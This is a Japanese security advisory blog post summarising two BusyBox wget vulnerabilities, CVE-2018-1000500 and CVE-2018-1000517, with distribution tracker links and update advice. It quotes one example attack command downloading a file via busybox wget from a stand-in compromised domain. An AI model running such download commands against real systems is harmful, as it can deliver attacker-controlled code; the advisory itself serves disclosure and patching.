こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。
06/27/2018にBusyBoxの脆弱性情報(CVE-2018-1000500 , CVE-2018-1000517 )が公開されています。今回はこれらの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。
一次情報源
http://lists.busybox.net/pipermail/busybox/2018-May/086462.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000500
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000517
Priority
Moderate(CVE-2018-1000500, CVE-2018-1000517)
修正方法
各ディストリビューションの情報を確認してください。
CVE概要(詳細はCVEのサイトをご確認ください)
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000500
“busybox wget”による任意のコード実行の可能性
重要度 – Moderate
Busyboxで、”busybox wget”を行った際にSSL証明書のチェックが漏れていたため、任意のコードを実行される可能性があります。攻撃はHTTPSを使って”busybox wget https://compromised-domain.com/important-file”を使用して、任意のファイルを単純にダウンロードすることにより行われます。
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000517
ヒープバッファーオーバーフローの脆弱性
重要度 – Moderate
“8e2174e9bd836e53c8b9c6e00d1bc6e2a718686e”のコミットより前のバージョンのwgetでは、”Busybox wget”機能の部分にヒープバッファーオーバーフローの脆弱性を含んでいます。この脆弱性は”8e2174e9bd836e53c8b9c6e00d1bc6e2a718686e”のコミットで修正されています。
主なディストリビューションの対応方法
詳細は、各ディストリビューションの提供元にご確認ください
Debian
https://security-tracker.debian.org/tracker/CVE-2018-1000500
https://security-tracker.debian.org/tracker/CVE-2018-1000517
Red Hat Enterprise Linux/CentOS
Ubuntu
https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-1000500.html
https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-1000517.html
SUSE/openSUSE
対処方法
各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteやKatello、Spacewalk等を使うと管理が便利でしょう。
また、OSの再起動が発生しますので、peacemakerなどOSSのクラスタ製品を使うとサービス断の時間を最小限にすることが出来ます。
[参考]
http://lists.busybox.net/pipermail/busybox/2018-May/086462.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000500
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000517
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